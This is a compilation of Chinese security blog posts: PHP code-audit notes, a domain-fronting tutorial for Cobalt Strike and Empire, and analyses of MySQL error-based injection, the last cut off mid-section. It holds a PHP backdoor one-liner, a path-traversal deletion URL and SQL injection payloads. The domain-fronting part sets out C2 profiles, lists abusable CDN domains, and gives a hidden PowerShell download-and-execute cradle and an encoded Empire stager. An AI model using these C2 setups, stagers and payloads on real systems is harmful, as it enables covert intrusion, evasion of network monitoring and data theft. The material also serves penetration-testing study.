谢邀,很久以前的文章了,看官们别介意
0x00 简介
之前看了seay写的PHP代码审计的书,全部浏览了一遍,作为一个代码审计小白,希望向一些和我一样的小白的人提供一下我的收获,以及一个整体的框架和常见漏洞函数。这也算是这本书的一个学习笔记吧,可以结合我捋顺的思路来看这本书。: )
0x01 整体
学习代码审计的目标是能够独立完成对一个CMS的代码安全监测。其通用的思路有:
- 通读全文代码,从功能函数代码开始阅读,例如
include
文件夹下的common_fun.php
,或者有类似关键字的文件。 - 看配置文件,带有
config
关键字的文件,找到mysql.class.php文件的connect()函数,查看在数据库连接时是否出现漏洞。 - 继续跟读首页文件,
index.php
,了解程序运作时调用了哪些函数和文件 以index.php文件作为标线,一层一层去扩展阅读所包含的文件,了解其功能,之后进入其功能文件夹的首页文件,进行扩展阅读。
0x02 各种洞洞
a.文件操作漏洞
- 能不用文件名参数就不用 尽量不要让用户可控
- 平行用户的权限 管理员的权限 操作权限
- 禁止传入参数类似于这种
..
,/
,\
检查传入的参数,做出限制,停止程序往下执行
1.文件包含漏洞:
(1) 本地文件包含:
- 一般存在于模块加载,模板加载,cache调用
- 包括函数:
include()/include_once()
,require()/require_once()
寻找可控变量
(2) 远程文件包含:
- 前提条件:
allow_url_include = on
- 出现频率不如本地包含
(3) 文件包含截断:
- 截断(php版本小于5.3)
- 问号截断(问号后面相当于请求的参数,伪截断)
- 英文(.) 反斜杠(/) 截断
2.文件读取(下载)漏洞:
搜索关键函数:
file_get_contents()
,highlight_file()
,fopen()
,read file()
,fread()
,fgetss()
, fgets()
,parse_ini_file()
,show_source()
,file()
等
3.文件上传漏洞:
搜索关键函数:
move_uploaded_file()
接着看调用这个函数的代码是否存在为限制上传格式或者可以绕过。
(1) 未过滤或本地过滤:服务器端未过滤,直接上传PHP格式的文件即可利用。
(2) 黑名单扩展名过滤:
- 限制不够全面:IIS默认支持解析
.asp
,.cdx
,.asa
,.cer
等。 - 扩展名可绕过:
不被允许的文件格式.php
,但是我们可以上传文件名为1.php
(注意后面有一个空格)
(3) 文件头 content-type
验证绕过:
getimagesize()
函数:验证文件头只要为GIF89a,就会返回真。- 限制
$_FILES["file"]["type"]
的值 就是人为限制content-type为可控变量。
(4) 防范:
- 使用
in_array()
或 利用三等于===
对比扩展名。 - 保存上传文件是重命名,规则采用时间戳拼接随机数:
md5(time() + rand(1,1000))
。
4.文件删除漏洞:
搜索关键函数:
unlink()
利用回溯变量的方式* 老版本下的session_destroy()
,可以删除文件,现已基本被修复。
Metinfo的任意文件删除漏洞:
$action = delete
即可删除.sql
的文件,如果文件不是sql
直接删除提交的文件名
target.com/recovery.php?&action=delete&filename=../../index.php
b.代码执行漏洞
1.代码执行函数:
搜索关键函数:eval()
, assert()
, preg_replace()
, call_user_func()
, call_user_func_array()
, array_map()
(1) preg_replace()
函数:
mixed preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int &$count ]] )
当$pattern处存在e修饰符时,$replacement 会被当做php代码执行。
(2)mixed call_user_func( callable $callbank [ , mixed $parameter [ , mixed $…)
:
第一个参数为回调函数,第二个参数是回调函数的参数
(3)eval()
和assert()
:
当assert()的参数为字符串时 可执行PHP代码
【区分】:
eval(" phpinfo(); ");【√】 eval(" phpinfo() ");【X】
assert(" phpinfo(); ");【√】 assert(" phpinfo() ");【√】
2.动态函数执行:
动态函数后门:
<?php $_GET['a']($_GET['b']); ?>
3.命令执行函数:
搜索关键函数:system()
, exec()
, shell_exec()
, passthru()
,pcntl_exec()
, popen()
,proc_open()
(1) popen
和proc_open()
:
<?php
popen( 'whoami >> /Users/bingdaojueai/Desktop/1.txt', 'r' );
?>
所在路径就会出现一个1.txt 里面的内容为命令执行后的结果
(2) 反引号命令执行:
- echo
whoami;
直接就可以执行命令 - 双引号和单引号的区别:
$a = 1
echo " $a " output:1
echo ' $a ' output:$a
双引号时,可以直接解析变量,造成代码执行漏洞,过狗绕过。
c.变量覆盖漏洞
1.函数使用不当:
int extract( array &$var_array , int $extract_type = EXTR_OVERWRITE , string $prefix = null )
void parse_str( string $str , array &$arr )
bool import_request_variables( string $type , string $prefix )
2.$$变量覆盖:
d.逻辑漏洞
需要思考的问题:
- 程序是否可以重复安装
- 修改密码是否存在越权修改其他用户密码
- 找回密码验证码是否可以暴力破解
- cookie是否可以预测 验证存在绕过
1.等于与存在判断绕过:
(1) in_array()
: 比较之前会自动转换类型
(2)is_numeric()
:当传入参数为hex时 直接通过并返回true 并且MYSQL可以直接使用hex编码代替字符串明文 可以二次注入 并且可能造成XSS漏洞
(3)双等于==
和三等于===
:
- 双等于会在变量比较时,进行类转换,与
in_array()
是一样的问题。 - 三等于是type和value的双重比较,相比之下更加安全。
2.账户体系中的越权问题:
- 水平越权:A用户能够以B用户的身份,进行B用户的全部权限操作。前提A用户和B用户拥有相同的权限。
- 垂直越权:A用户能够以C用户的身份,进行C用户的全部权限操作,前提C用户比A用户拥有更高的权限。
(1) 未exit
/return
/die
:
<?php
if(file_exists('install.lock)) {
header("Location:xxx.com");
//exit();
}
echo "test";
?>
test 依旧会被输出,替换成安装流程,PHP依旧会进行。
(2) 支付漏洞:
- 客户端修改单价
- 客户端修改总价和购买数量
- 服务端未校验严格
- 重复发包利用时间:
<?phpif (check_money($price)) { //Do something //花费几秒 $money = $money - $price;}?>
可能导致漏洞函数: str_replace()
<?php
$a = addslashes($_GET['a']);
$b = addslashes($_GET['b']);
echo "$a<br/>$b<br/>";
$c = str_replace($a,'',$b);
echo trim($c);
?>
e.会话认证漏洞
- COOKIE验证:没有使用SESSION验证,将信息直接保存在COOKIE中
1. 找到传入sql语句的参数的传递过程 回溯变量到最原始的函数 看它保存在cookie的算法 是否可逆
2. 和MD5比起 sha1更安全 解密sha1的网站更少
3. 限制一个用户只能同时在一个IP上登录 - 审计代码时,查看登录处代码
f.二次漏洞
1.类型:
- 不是逻辑问题,是可信问题。
- 业务逻辑复杂度,与二次漏洞触发率 成正比。
- 购物车 / 订单 / 引用数据 / 文章编辑 / 草稿
==>
SQL注入 / XSS
2.技巧:
(1) 钻GPC等转义的空子:
- 不受GPC保护的
$_SERVER
变量:PHP5以后,$_SERVER取到的header不再受GPC影响,就算开启特殊字符也不会被转义,存在注入 -
编码问题转换:
-
GBK的宽字节注入:%df ‘ 单引号自动被转义成(%5c),同时%df与%5c连在一起组合成運字单引号依然在,成功闭合。【php与mysql交互过程中发生的编码转换问题】
mb_convert_encoding()
:
<meta http-equiv="Content-Type" content="text/html;charset=utf-8"/>
<?php
$sql = "WHERE id='".urldecode("-1%df%5c' == ")."'"; print_r(mb_convert_encoding($sql,"UTF-8","GBK"));
?>
(2)字符串问题:
- 利用报错,找到敏感信息
-
字符串截断:
-
空字符截断:【PHP版本小于5.3】
<?php
include($_GET['file'].'.php');
//1.php?file=2.txt
//2.txt里面是 <?php phpinfo()?>
?>
- iconv函数字符编码转换截断:【对PHP版本有要求】
chr(128)—chr(255)可以截断字符
<?php
$a = '1'.chr(130).'2’;
echo $a."<br>"; //1�2
echo iconv("UTF-8", "GBK", $a); //1
?>
- php:// 输入输出流:
<?php
include($_GET[‘file']);
?>
1.php?file=php://filter/convert.base64-encode(内容被base64编码)/resource=example.txt(远程文件)
- php代码解析标签:
1.<script language="php">…</script>
2.<?…?>
:php3.0.4版本后可用
3.<%…%>
:asp标签,需要asp_tags=on,默认是off - 正则表达式:
1. 没有使用^ 和 $ 限定匹配开始位置:
2. 特殊字符未转义: - 报错注入:
windows findfirstfile
利用:若要搜索12345.txt文件,可使用1<<来代替或者12<<,不可以单独使用一个”<“或”>”,因为单独一个只是代表了一个字符,两个代表多个字符。
0x03 End
自己走上安全这条路既是兴趣也是偶然,选择白盒完全是因为喜欢php,毕竟是初识代码审计,seay的书确实帮了我不少,抱作者大腿(我是萌妹纸),希望这篇文章能够帮助像我一样小白的人,花了两天总结的,如果有什么缺陷也等着大家指出。
> 不会开发的谈审计都是耍流氓!:)
隐匿的攻击之-DomainFronting
首发:www.4hou.com 文章已授权嘶吼独家发布,未经许可禁止转载,如若转载请联系嘶吼编辑
0x01 简介
最近看到了一些关于Domain Fronting的技术,感觉很有意思,其特点在于,你真正访问的域名并不是你看到的域名,即可以隐藏攻击者的真实地址,并且此技术能够让我们在一些受限制的网络中依然连接到我们的C2服务器,其关键思想是在不同的通信层使用不同的域名,在HTTP(S)请求中,目标域名通常显示在三个关键位置:DNS查询,TLS(SNI)拓展及HTTP主机头中,通常,这三个地方都会是我们要访问的域名地址,然而,在”Domain Fronting”请求中,DNS查询以及SNI携带了一个域名(前域),而在HTTP host头中携带了另一个域名(隐蔽的,被禁止访问的域名),简单的图例如下:
通常检查器不能阻止DNS及SNI中请求的内容,而HOST头对检查器不可见,但对接收HTTP(S)请求的前端服务器可见,而前端服务器,在内部请求HTTP头中的Host的地址,进而达到隐蔽目的地的目的。关于Domain Fronting 这里有一篇文章有详细的介绍《Blocking-resistant communication through domain fronting》。本文就不在详细介绍了。感觉这个技术很有趣,所以就对此技术进行了一下研究与学习,并写此文进行分享。
0x02 情形
渗透测试过程中,我们会遇到这种情形,即网络中部署了很多防御方案,比如防火墙开启IDP,IPS,IDS等,这些方案可用于限制网络出站规则,例如,仅仅允许TCP 80及443通过代理离开网络,并且还会有许多设备在应用层来检查这个流量,如果检测到恶意的Payload,则进行拦截并报警。绕过这些解决方案一直是入侵者与防御者之间的博弈,防御者努力的想怎么拦,而入侵者在努力的想怎么绕。因此也有了很多很多的攻击技术,比如DNS隧道,ICMP隧道等等。最近有一篇文章《Doodles, stickers, and censorship circumvention for Signal Android》介绍了通过Domain Fronting来绕过信号限制的方式,在此文中指出“许多流行的服务和CDN(如Google,Amazon Cloudfront,Amazon S3,Azure,CloudFlare,Fastly和Akamai)可以以一种看起来与其他未经审查的流量不可辨别的方式获取信号。因此,我们也可以通过此技术来绕过一些过滤规则。
0x03 示例
这里我们使用Amazon’s CloudFront作为一个演示,CloudFront是一种内容交付网络服务。它为用户提供了一个全局分布式缓存,用于托管在其服务器上的文件。这减少了客户服务器上的负载,并允许CDN提供来自与请求者数据中心的缓存内容,当客户端连接到CloudFront的时候,其根据HOST头来判断客户端想要请求的域名,首先在Amazon’s CloudFront注册账号,之后按以下步骤建立自己的CloudFront:
一、选择服务,CloudFront
二、新建节点
三、配置节点
填入自己的域名,并把Origin Protocol Policy配置为Match Viewer
修改箭头几处值
其他默认,点击创建。成功如下图:
evi1cg.me为指向测试C2服务器的域名,下面使用wget来进行测试。
wget -U demo -q -O - http://evi1cg.me/foo.txt
hello there !
d289wv3b5uz3me.cloudfront.net为我的CloudFront,对这个域名的访问可访问到evi1cg.me的IP。
wget -U demo -q -O - http://d289wv3b5uz3me.cloudfront.net/foo.txt
hello there !
如下图:
现在我们来伪造主机头来试试看。这里使用a0.awsstatic.com,此域名来自于这里。
直接访问不会范围任何东西:
wget -U demo -q -O - http://a0.awsstatic.com/foo.txt
修改Host头,伪造Host为我们创建的CloudFront所分发的FQDN,这样就返回了我们要访问的文件:
wget -U demo -q -O - http://a0.awsstatic.com/foo.txt --header "Host: d289wv3b5uz3me.cloudfront.net"
如下图:
这样我们就可以使用高信誉域名来代替我们自己的域名了。
那么如何寻找类似于a0.awsstatic.com这样的高信誉域名呢,这里可以使用这个简单的命令来寻找:
for i in {a..z}; do for j in {0..9}; do wget -U demo -q -O - http://$i$j.awsstatic.com/foo.txt --header "Host: d289wv3b5uz3me.cloudfront.net" && echo $i$j; done;done
如下图:
当然这里还可以写一个脚本来从热门网站列表中寻找可以使用的CDN子域,关于这个可以参考这个文章Domain Fronting Via Cloudfront Alternate Domains。
下面分享几个可用的域名:
cdn.az.gov,cdn.zendesk.com,cdn.atlassian.com,a1.awsstatic.com,f0.awsstatic.com
0x04 应用
1.Cobalt Strike
大家都知道,Cobalt Strike可以通过Malleable C2 profile来修改becon的传输方式,那么在这里,我们也可以通过这个来进行重定向。所以要修改的就是在文件中修改header的Host指向我们的节点。比如:
http-get {
client {
header "Host" "[your distribution].cloudfront.net";
http-post {
client {
header "Host" "[your distribution].cloudfront.net";
这里要注意的是http-get与http-post都要修改。
一个修改好的webbug.profile如下:
# make our C2 look like a Google Web Bug
# https://developers.google.com/analytics/resources/articles/gaTrackingTroubleshooting
#
# Author: @armitagehacker
http-get {
set uri "/__utm.gif";
client {
parameter "utmac" "UA-2202604-2";
parameter "utmcn" "1";
parameter "utmcs" "ISO-8859-1";
parameter "utmsr" "1280x1024";
parameter "utmsc" "32-bit";
parameter "utmul" "en-US";
header "Host" "d289wv3b5uz3me.cloudfront.net";
metadata {
netbios;
prepend "__utma";
parameter "utmcc";
}
}
server {
header "Content-Type" "image/gif";
output {
# hexdump pixel.gif
# 0000000 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00
# 0000010 ff ff ff 21 f9 04 01 00 00 00 00 2c 00 00 00 00
# 0000020 01 00 01 00 00 02 01 44 00 3b
prepend "\x01\x00\x01\x00\x00\x02\x01\x44\x00\x3b";
prepend "\xff\xff\xff\x21\xf9\x04\x01\x00\x00\x00\x2c\x00\x00\x00\x00";
prepend "\x47\x49\x46\x38\x39\x61\x01\x00\x01\x00\x80\x00\x00\x00\x00";
print;
}
}
}
http-post {
set uri "/___utm.gif";
client {
header "Content-Type" "application/octet-stream";
id {
prepend "UA-220";
append "-2";
parameter "utmac";
}
parameter "utmcn" "1";
parameter "utmcs" "ISO-8859-1";
parameter "utmsr" "1280x1024";
parameter "utmsc" "32-bit";
parameter "utmul" "en-US";
header "Host" "d289wv3b5uz3me.cloudfront.net";
output {
print;
}
}
server {
header "Content-Type" "image/gif";
output {
prepend "\x01\x00\x01\x00\x00\x02\x01\x44\x00\x3b";
prepend "\xff\xff\xff\x21\xf9\x04\x01\x00\x00\x00\x2c\x00\x00\x00\x00";
prepend "\x47\x49\x46\x38\x39\x61\x01\x00\x01\x00\x80\x00\x00\x00\x00";
print;
}
}
}
# dress up the staging process too
http-stager {
server {
header "Content-Type" "image/gif";
}
}
使用c2lint 来测试:
./c2lint Malleable-C2-Profiles/normal/webbug.profile
可以看到host已经改成了我们的节点地址。
之后启动teamserver:
☁ cobal sudo ./teamserver [your ip] hacktest webbug.profile
之后连接到teamserver。
创建监听:
注意host填的地址。并且要注意端口一定要是80。之后再填入我们找的那些高信誉域名地址,比如cdn.az.gov,当然可以填入多个,以,隔开即可:
使用web Delivery进行测试:
生成Posershell命令如下:
powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://d289wv3b5uz3me.cloudfront.net:80/a'))"
客户端运行以后成功上线:
使用wireshark查看流量:
可以看到流量里面并没有我们的真实域名而只有我们的节点地址,而解析的DNS地址是高信誉域名的地址。
如果想使用HTTPS,可以参考使用HTTPS beacon,及这个视频。本文就不做介绍了。
2.Empire
使用Empire2.0(之所以使用2.0,是因为2.0可以自定义http头信息,只需要使用”|” 隔开即可),需要对Listener进行重新配置。具体设置如下:
(Empire: listeners) > uselistener http
(Empire: listeners/http) >
(Empire: listeners/http) > set Host http://cdn.az.gov:80
(Empire: listeners/http) > set DefaultProfile /admin/get.php,/news.asp,/login/process.jsp|Mozilla/5.0 (WindowsNT 6.1; WOW64; Trident/7.0;rv:11.0) like Gecko | Host:d289wv3b5uz3me.cloudfront.net
(Empire: listeners/http) > execute
[*] Starting listener 'http'
[+] Listener successfully started!
特别注意DefaultProfile后面添加了Host,并且使用端口为80!
配置后结果如下:
之后开启监听,并配置stager
(Empire: listeners) > usestager multi/launcher
(Empire: stager/multi/launcher) > set Listener http
(Empire: stager/multi/launcher) > generate
powershell.exe -NoP -sta -NonI -W Hidden -Enc WwBSAEUAZgBdAC4AQQBTAFMARQBNAGIAbABZAC4ARwBlAFQAVABZAFAAZQAoACcAUwB5AHMAdABlAG0ALgBNAGEAbgBhAGcAZQBtAGUAbgB0AC4AQQB1AHQAbwBtAGEAdABpAG8AbgAuAEEAbQBzAGkAVQB0AGkAbABzACcAKQB8AD8AewAkAF8AfQB8ACUAewAkAF8ALgBHAEUAVABGAGkAZQBMAEQAKAAnAGEAbQBzAGkASQBuAGkAdABGAGEAaQBsAGUAZAAnACwAJwBOAG8AbgBQAHUAYgBsAGkAYwAsAFMAdABhAHQAaQBjACcAKQAuAFMARQBUAFYAQQBMAFUARQAoACQATgBVAGwATAAsACQAVAByAFUARQApAH0AOwBbAFMAeQBTAHQAZQBtAC4ATgBFAHQALgBTAGUAUgB2AGkAYwBlAFAATwBpAE4AVABNAGEAbgBhAEcAZQByAF0AOgA6AEUAWABwAGUAQwB0ADEAMAAwAEMAbwBOAHQASQBOAFUAZQA9ADAAOwAkAHcAQwA9AE4ARQBXAC0ATwBCAEoARQBDAHQAIABTAHkAUwBUAEUATQAuAE4AZQBUAC4AVwBFAEIAQwBMAEkARQBOAHQAOwAkAHUAPQAnAE0AbwB6AGkAbABsAGEALwA1AC4AMAAgACgAVwBpAG4AZABvAHcAcwBOAFQAIAA2AC4AMQA7ACAAVwBPAFcANgA0ADsAIABUAHIAaQBkAGUAbgB0AC8ANwAuADAAOwByAHYAOgAxADEALgAwACkAIABsAGkAawBlACAARwBlAGMAawBvACcAOwAkAFcAYwAuAEgARQBBAEQARQBSAFMALgBBAEQAZAAoACcAVQBzAGUAcgAtAEEAZwBlAG4AdAAnACwAJAB1ACkAOwAkAHcAYwAuAFAAUgBvAHgAWQA9AFsAUwBZAHMAVABFAG0ALgBOAGUAdAAuAFcARQBiAFIARQBxAFUAZQBTAFQAXQA6ADoARABlAEYAYQB1AEwAdABXAEUAQgBQAHIAbwBYAHkAOwAkAHcAYwAuAFAAUgBvAHgAeQAuAEMAUgBlAEQARQBOAHQAaQBhAEwAcwAgAD0AIABbAFMAWQBzAHQARQBtAC4ATgBlAFQALgBDAHIAZQBEAGUAbgBUAEkAQQBsAEMAQQBjAGgAZQBdADoAOgBEAEUARgBhAFUAbAB0AE4ARQBUAHcATwByAGsAQwByAGUAZABlAG4AVABJAGEAbABTADsAJABLAD0AWwBTAHkAcwB0AGUAbQAuAFQAZQBYAFQALgBFAG4AQwBvAGQASQBuAEcAXQA6ADoAQQBTAEMASQBJAC4ARwBFAHQAQgB5AHQARQBzACgAJwBlADEAMABhAGQAYwAzADkANAA5AGIAYQA1ADkAYQBiAGIAZQA1ADYAZQAwADUANwBmADIAMABmADgAOAAzAGUAJwApADsAJABSAD0AewAkAEQALAAkAEsAPQAkAEEAUgBnAHMAOwAkAFMAPQAwAC4ALgAyADUANQA7ADAALgAuADIANQA1AHwAJQB7ACQASgA9ACgAJABKACsAJABTAFsAJABfAF0AKwAkAEsAWwAkAF8AJQAkAEsALgBDAG8AVQBuAFQAXQApACUAMgA1ADYAOwAkAFMAWwAkAF8AXQAsACQAUwBbACQASgBdAD0AJABTAFsAJABKAF0ALAAkAFMAWwAkAF8AXQB9ADsAJABEAHwAJQB7ACQASQA9ACgAJABJACsAMQApACUAMgA1ADYAOwAkAEgAPQAoACQASAArACQAUwBbACQASQBdACkAJQAyADUANgA7ACQAUwBbACQASQBdACwAJABTAFsAJABIAF0APQAkAFMAWwAkAEgAXQAsACQAUwBbACQASQBdADsAJABfAC0AQgB4AE8AcgAkAFMAWwAoACQAUwBbACQASQBdACsAJABTAFsAJABIAF0AKQAlADIANQA2AF0AfQB9ADsAJAB3AEMALgBIAEUAQQBEAGUAcgBzAC4AQQBkAGQAKAAiAEgAbwBzAHQAIgAsACIAZAAyADgAOQB3AHYAMwBiADUAdQB6ADMAbQBlAC4AYwBsAG8AdQBkAGYAcgBvAG4AdAAuAG4AZQB0ACIAKQA7ACQAVwBjAC4ASABFAEEAZABFAHIAUwAuAEEAZABEACgAIgBDAG8AbwBrAGkAZQAiACwAIgBzAGUAcwBzAGkAbwBuAD0AUgBTAHoAKwB5AEQAUABVAFEAcgBwAGwAVQBNAGQAbABKAEIAKwBVAEoAZwBEAHAAagB1AHcAPQAiACkAOwAkAHMAZQByAD0AJwBoAHQAdABwADoALwAvAGMAZABuAC4AYQB6AC4AZwBvAHYAOgA4ADAAJwA7ACQAdAA9ACcALwBuAGUAdwBzAC4AYQBzAHAAJwA7ACQAZABBAHQAYQA9ACQAVwBDAC4ARABPAFcATgBsAG8AYQBEAEQAYQB0AEEAKAAkAHMARQByACsAJABUACkAOwAkAGkAVgA9ACQAZABBAHQAQQBbADAALgAuADMAXQA7ACQAZABhAHQAYQA9ACQARABBAHQAQQBbADQALgAuACQARABBAFQAYQAuAEwARQBuAGcAdABIAF0AOwAtAGoAbwBpAG4AWwBDAGgAYQBSAFsAXQBdACgAJgAgACQAUgAgACQARABhAFQAQQAgACgAJABJAFYAKwAkAEsAKQApAHwASQBFAFgA
执行过程如下:
其DNS查询结果为:
开启的网络连接为:
0x05 小结
使用此技巧可以有效地隐藏自己的真实地址,并且可以在一定程度上绕过某些防护,在渗透测试中应该是一个很不错的技术,希望此文对你有所帮助。
0x06 参考
1、https://www.optiv.com/blog/escape-and-evasion-egressing-restricted-networks
2、https://www.bamsoftware.com/papers/fronting/
3、https://www.mdsec.co.uk/2017/02/domain-fronting-via-cloudfront-alternate-domains/
4、https://www.xorrior.com/Empire-Domain-Fronting/
Mysql报错注入原理分析count、rand、groupby
0x00 疑问
一直在用mysql数据库报错注入方法,但为何会报错?
百度谷歌知乎了一番,发现大家都是把官网的结论发一下截图,然后执行sql语句证明一下结论,但是没有人去深入研究为什么rand不能和order by一起使用,也没彻底说明三者同时使用报错的原理。
0x01 位置问题?
select count(*),(floor(rand(0)*2))x from information_schema.tables group by x;
这是网上最常见的语句,目前位置看到的网上sql注入教程,floor
都是直接放count(*)
后面,为了排除干扰,我们直接对比了两个报错语句,如下图
由上面的图片,可以知道报错跟位置无关。
0x02 绝对报错还是相对报错?
是不是报错语句有了floor(rand(0)*2)
以及其他几个条件就一定报错?其实并不是如此,我们先建建个表,新增一条记录看看,如下图:
确认表中只有一条记录后,再执行报错语句看看,如下图:
多次执行均未发现报错。
然后我们新增一条记录。
然后再测试下报错语句
多次执行并没有报错
OK 那我们再增加一条
执行报错语句
ok 成功报错
由此可证明floor(rand(0)*2)
报错是有条件的,记录必须3条以上,而且在3条以上必定报错,到底为何?请继续往下看。
0x03 随机因子具有决定权么(rand()和rand(0))
为了更彻底的说明报错原因,直接把随机因子去掉,再来一遍看看,先看一条记录的时候,如下图:
一条记录的话 无论执行多少次也不报错
然后增加一条记录。
两条记录的话 结果就变成不确定性了
随机出现报错。
然后再插入一条
三条记录之后,也和2条记录一样进行随机报错。
由此可见报错和随机因子是有关联的,但有什么关联呢,为什么直接使用rand()
,有两条记录的情况下就会报错,而且是有时候报错,有时候不报错,而rand(0)
的时候在两条的时候不报错,在三条以上就绝对报错?我们继续往下看。
0x04 不确定性与确定性
前面说过,floor(rand(0)*2)
报错的原理是恰恰是由于它的确定性,这到底是为什么呢?从0x03我们大致可以猜想到,因为floor(rand()*2)
不加随机因子的时候是随机出错的,而在3条记录以上用floor(rand(0)*2)
就一定报错,由此可猜想floor(rand()*2)
是比较随机的,不具备确定性因素,而floor(rand(0)*2)
具备某方面的确定性。
为了证明我们猜想,分别对floor(rand()*2)
和floor(rand(0)*2)
在多记录表中执行多次(记录选择10条以上),在有12条记录表中执行结果如下图:
连续3次查询,毫无规则,接下来看看select floor(rand(0)*2) from
T-Safe;
,如下图:
可以看到floor(rand(0)*2)
是有规律的,而且是固定的,这个就是上面提到的由于是确定性才导致的报错,那为何会报错呢,我们接着往下看。
0x05 count与group by的虚拟表
使用select count(*) from
T-Safegroup by x;
这种语句的时候我们经常可以看到下面类似的结果:
可以看出 test12的记录有5条
与count(*)
的结果相符合,那么mysql在遇到select count(*) from TSafe group by x;
这语句的时候到底做了哪些操作呢,我们果断猜测mysql遇到该语句时会建立一个虚拟表(实际上就是会建立虚拟表),那整个工作流程就会如下图所示:
- 先建立虚拟表,如下图(其中key是主键,不可重复):
2.开始查询数据,取数据库数据,然后查看虚拟表存在不,不存在则插入新记录,存在则count(*)
字段直接加1,如下图:
由此看到 如果key存在的话就+1, 不存在的话就新建一个key。
那这个和报错有啥内在联系,我们直接往下来,其实到这里,结合前面的内容大家也能猜个一二了。
0x06 floor(rand(0)*2)报错
其实mysql官方有给过提示,就是查询的时候如果使用rand()
的话,该值会被计算多次,那这个“被计算多次”到底是什么意思,就是在使用group by
的时候,floor(rand(0)*2)
会被执行一次,如果虚表不存在记录,插入虚表的时候会再被执行一次,我们来看下floor(rand(0)*2)
报错的过程就知道了,从0x04可以看到在一次多记录的查询过程中floor(rand(0)*2)
的值是定性的,为011011…(记住这个顺序很重要),报错实际上就是floor(rand(0)*2)
被计算多次导致的,具体看看select count(*) from TSafe group by floor(rand(0)*2);
的查询过程:
1.查询前默认会建立空虚拟表如下图:
2.取第一条记录,执行floor(rand(0)*2)
,发现结果为0(第一次计算),查询虚拟表,发现0的键值不存在,则floor(rand(0)*2)
会被再计算一次,结果为1(第二次计算),插入虚表,这时第一条记录查询完毕,如下图:
3.查询第二条记录,再次计算floor(rand(0)*2)
,发现结果为1(第三次计算),查询虚表,发现1的键值存在,所以floor(rand(0)*2)
不会被计算第二次,直接count(*)
加1,第二条记录查询完毕,结果如下:
4.查询第三条记录,再次计算floor(rand(0)*2)
,发现结果为0(第4次计算),查询虚表,发现键值没有0,则数据库尝试插入一条新的数据,在插入数据时floor(rand(0)*2)
被再次计算,作为虚表的主键,其值为1(第5次计算),然而1这个主键已经存在于虚拟表中,而新计算的值也为1(主键键值必须唯一),所以插入的时候就直接报错了。
5.整个查询过程floor(rand(0)*2)
被计算了5次,查询原数据表3次,所以这就是为什么数据表中需要3条数据,使用该语句才会报错的原因。
0x07 floor(rand()*2)报错
由0x05我们可以同样推理出不加入随机因子的情况,由于没加入随机因子,所以floor(rand()*2)
是不可测的,因此在两条数据的时候,只要出现下面情况,即可报错,如下图:
最重要的是前面几条记录查询后不能让虚表存在0,1键值,如果存在了,那无论多少条记录,也都没办法报错,因为floor(rand()*2)
不会再被计算做为虚表的键值,这也就是为什么不加随机因子有时候会报错,有时候不会报错的原因。如图:
当前面记录让虚表长成这样子后,由于不管查询多少条记录,floor(rand()*2)
的值在虚表中都能找到,所以不会被再次计算,只是简单的增加count(*)
字段的数量,所以不会报错,比如floor(rand(1)*2)
,如图:
在前两条记录查询后,虚拟表已经存在0和1两个键值了,所以后面再怎么弄还是不会报错。
总之报错需要count(*)
,rand()
、group by
,三者缺一不可。
MYSQL报错注入的一点总结
SQL报错注入就是利用数据库的某些机制,人为地制造错误条件,使得查询结果能够出现在错误信息中。这种手段在联合查询受限且能返回错误信息的情况下比较好用,毕竟用盲注的话既耗时又容易被封。
MYSQL报错注入个人认为大体可以分为以下几类:
- BIGINT等数据类型溢出
- xpath语法错误
- concat+rand()+group_by()导致主键重复
- 一些特性
下面就针对这几种错误类型看看背后的原理是怎样的。
0x01 数据溢出
这里可以看到mysql是怎么处理整形的:Integer Types (Exact Value),如下表:
Type | Storage | Minimum Value | Maximum Value |
---|---|---|---|
(Bytes) | (Signed/Unsigned) | (Signed/Unsigned) | |
TINYINT | 1 | -128 | 127 |
0 | 255 | ||
SMALLINT | 2 | -32768 | 32767 |
0 | 65535 | ||
MEDIUMINT | 3 | -8388608 | 8388607 |
0 | 16777215 | ||
INT | 4 | -2147483648 | 2147483647 |
0 | 4294967295 | ||
BIGINT | 8 | -9223372036854775808 | 9223372036854775807 |
0 | 18446744073709551615 |
在mysql5.5之前,整形溢出是不会报错的,根据官方文档说明out-of-range-and-overflow,只有版本号大于5.5.5时,才会报错。试着对最大数做加法运算,可以看到报错的具体情况:
mysql> select 18446744073709551615+1;
ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '(18446744073709551615 + 1)'
在mysql中,要使用这么大的数,并不需要输入这么长的数字进去,使用按位取反运算运算即可:
mysql> select ~0;
+----------------------+
| ~0 |
+----------------------+
| 18446744073709551615 |
+----------------------+
1 row in set (0.00 sec)
mysql> select ~0+1;
ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '(~(0) + 1)'
我们知道,如果一个查询成功返回,则其返回值为0,进行逻辑非运算后可得1,这个值是可以进行数学运算的:
mysql> select (select * from (select user())x);
+----------------------------------+
| (select * from (select user())x) |
+----------------------------------+
| root@localhost |
+----------------------------------+
1 row in set (0.00 sec)
mysql> select !(select * from (select user())x);
+-----------------------------------+
| !(select * from (select user())x) |
+-----------------------------------+
| 1 |
+-----------------------------------+
1 row in set (0.01 sec)
mysql> select !(select * from (select user())x)+1;
+-------------------------------------+
| !(select * from (select user())x)+1 |
+-------------------------------------+
| 2 |
+-------------------------------------+
1 row in set (0.00 sec)
同理,利用exp函数也会产生类似的溢出错误:
mysql> select exp(709);
+-----------------------+
| exp(709) |
+-----------------------+
| 8.218407461554972e307 |
+-----------------------+
1 row in set (0.00 sec)
mysql> select exp(710);
ERROR 1690 (22003): DOUBLE value is out of range in 'exp(710)'
注入姿势:
mysql> select exp(~(select*from(select user())x));
ERROR 1690 (22003): DOUBLE value is out of range in 'exp(~((select 'root@localhost' from dual)))'
利用这一特性,再结合之前说的溢出报错,就可以进行注入了。这里需要说一下,经笔者测试,发现在mysql5.5.47可以在报错中返回查询结果:
mysql> select (select(!x-~0)from(select(select user())x)a);
ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '((not('root@localhost')) - ~(0))'
而在mysql>5.5.53时,则不能返回查询结果
mysql> select (select(!x-~0)from(select(select user())x)a);
ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '((not(`a`.`x`)) - ~(0))'
此外,报错信息是有长度限制的,在mysql/my_error.c中可以看到:
/* Max length of a error message. Should be
kept in sync with MYSQL_ERRMSG_SIZE. */
#define ERRMSGSIZE (512)
0x02 xpath语法错误
